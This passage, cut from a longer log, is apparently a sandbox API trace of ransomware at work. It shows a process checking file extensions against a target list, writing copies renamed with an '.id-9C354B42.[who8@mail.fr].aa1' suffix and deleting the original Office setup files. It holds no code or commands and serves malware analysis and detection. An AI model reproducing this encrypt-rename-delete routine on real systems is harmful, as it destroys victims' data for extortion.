lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.218] lstrlenW (lpString=".1cd") returned 4 [0209.218] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.218] lstrlenW (lpString=".jpg") returned 4 [0209.218] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.218] lstrlenW (lpString=".doc") returned 4 [0209.218] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString=".docx") returned 5 [0209.218] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.218] lstrlenW (lpString=".pdf") returned 4 [0209.218] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString=".xls") returned 4 [0209.218] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString=".xlsx") returned 5 [0209.218] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.218] lstrlenW (lpString=".ppt") returned 4 [0209.218] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.218] lstrlenW (lpString=".zip") returned 4 [0209.218] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.218] lstrlenW (lpString=".rar") returned 4 [0209.219] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.219] lstrlenW (lpString=".bz2") returned 4 [0209.219] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.219] lstrlenW (lpString=".7z") returned 3 [0209.219] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.219] lstrlenW (lpString=".dbf") returned 4 [0209.219] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.219] lstrlenW (lpString=".1cd") returned 4 [0209.219] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.219] lstrlenW (lpString=".jpg") returned 4 [0209.219] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.220] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.220] lstrlenW (lpString="Office32MUI.XML") returned 15 [0209.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.221] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1383) returned 1 [0209.221] CloseHandle (hObject=0x178) returned 1 [0209.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0209.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.221] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.222] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.804] GetLastError () returned 0x0 [0209.813] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x567, lpOverlapped=0x0) returned 1 [0209.842] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x570, lpOverlapped=0x0) returned 1 [0209.843] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.843] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0209.843] SetEndOfFile (hFile=0x1fc) returned 1 [0209.843] CloseHandle (hObject=0x1fc) returned 1 [0209.845] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.845] SetEndOfFile (hFile=0x178) returned 1 [0209.846] CloseHandle (hObject=0x178) returned 1 [0209.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.847] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0209.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.847] lstrlenW (lpString=".doc") returned 4 [0209.847] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.847] lstrlenW (lpString=".docx") returned 5 [0209.847] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.847] lstrlenW (lpString=".pdf") returned 4 [0209.847] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.847] lstrlenW (lpString=".xls") returned 4 [0209.847] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.847] lstrlenW (lpString=".xlsx") returned 5 [0209.847] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.847] lstrlenW (lpString=".ppt") returned 4 [0209.847] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.847] lstrlenW (lpString=".zip") returned 4 [0209.847] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.847] lstrlenW (lpString=".rar") returned 4 [0209.847] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.847] lstrlenW (lpString=".bz2") returned 4 [0209.848] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString=".7z") returned 3 [0209.848] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.848] lstrlenW (lpString=".dbf") returned 4 [0209.848] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.848] lstrlenW (lpString=".1cd") returned 4 [0209.848] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.848] lstrlenW (lpString=".jpg") returned 4 [0209.848] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.848] lstrlenW (lpString=".doc") returned 4 [0209.848] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString=".docx") returned 5 [0209.848] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.848] lstrlenW (lpString=".pdf") returned 4 [0209.848] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString=".xls") returned 4 [0209.848] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString=".xlsx") returned 5 [0209.848] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.848] lstrlenW (lpString=".ppt") returned 4 [0209.848] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.849] lstrlenW (lpString=".zip") returned 4 [0209.849] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.849] lstrlenW (lpString=".rar") returned 4 [0209.849] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.849] lstrlenW (lpString=".bz2") returned 4 [0209.849] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.849] lstrlenW (lpString=".7z") returned 3 [0209.849] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.849] lstrlenW (lpString=".dbf") returned 4 [0209.849] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.849] lstrlenW (lpString=".1cd") returned 4 [0209.849] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0209.849] lstrlenW (lpString=".jpg") returned 4 [0209.849] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.849] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.849] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0209.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.853] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=6421) returned 1 [0209.853] CloseHandle (hObject=0x1e4) returned 1 [0209.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0209.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.854] GetLastError () returned 0x0 [0209.854] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x1915, lpOverlapped=0x0) returned 1 [0209.887] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0209.888] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.888] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xee, lpOverlapped=0x0) returned 1 [0209.888] SetEndOfFile (hFile=0x1f8) returned 1 [0209.888] CloseHandle (hObject=0x1f8) returned 1 [0209.892] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.892] SetEndOfFile (hFile=0x1e4) returned 1 [0209.893] CloseHandle (hObject=0x1e4) returned 1 [0209.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.894] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.894] lstrlenW (lpString=".doc") returned 4 [0209.894] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.894] lstrlenW (lpString=".docx") returned 5 [0209.894] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0209.894] lstrlenW (lpString=".pdf") returned 4 [0209.894] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.894] lstrlenW (lpString=".xls") returned 4 [0209.894] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.894] lstrlenW (lpString=".xlsx") returned 5 [0209.894] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0209.894] lstrlenW (lpString=".ppt") returned 4 [0209.894] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.894] lstrlenW (lpString=".zip") returned 4 [0209.895] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.895] lstrlenW (lpString=".rar") returned 4 [0209.895] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString=".bz2") returned 4 [0209.895] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString=".7z") returned 3 [0209.895] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.895] lstrlenW (lpString=".dbf") returned 4 [0209.895] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.895] lstrlenW (lpString=".1cd") returned 4 [0209.895] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.895] lstrlenW (lpString=".jpg") returned 4 [0209.895] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.895] lstrlenW (lpString=".doc") returned 4 [0209.895] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString=".docx") returned 5 [0209.895] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0209.895] lstrlenW (lpString=".pdf") returned 4 [0209.895] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString=".xls") returned 4 [0209.895] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.895] lstrlenW (lpString=".xlsx") returned 5 [0209.896] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0209.896] lstrlenW (lpString=".ppt") returned 4 [0209.896] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.896] lstrlenW (lpString=".zip") returned 4 [0209.896] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.896] lstrlenW (lpString=".rar") returned 4 [0209.896] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".bz2") returned 4 [0209.896] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".7z") returned 3 [0209.896] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.896] lstrlenW (lpString=".dbf") returned 4 [0209.896] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.896] lstrlenW (lpString=".1cd") returned 4 [0209.896] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0209.896] lstrlenW (lpString=".jpg") returned 4 [0209.897] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.897] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.897] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0209.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.897] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1452) returned 1 [0209.897] CloseHandle (hObject=0x1e4) returned 1 [0209.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0209.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.898] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.898] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.118] GetLastError () returned 0x0 [0210.118] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0210.899] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0211.199] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.199] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0211.199] SetEndOfFile (hFile=0x1f8) returned 1 [0211.200] CloseHandle (hObject=0x1f8) returned 1 [0211.200] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.200] SetEndOfFile (hFile=0x1e4) returned 1 [0211.201] CloseHandle (hObject=0x1e4) returned 1 [0211.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0211.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.201] lstrlenW (lpString=".doc") returned 4 [0211.201] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.201] lstrlenW (lpString=".docx") returned 5 [0211.201] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.201] lstrlenW (lpString=".pdf") returned 4 [0211.201] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.201] lstrlenW 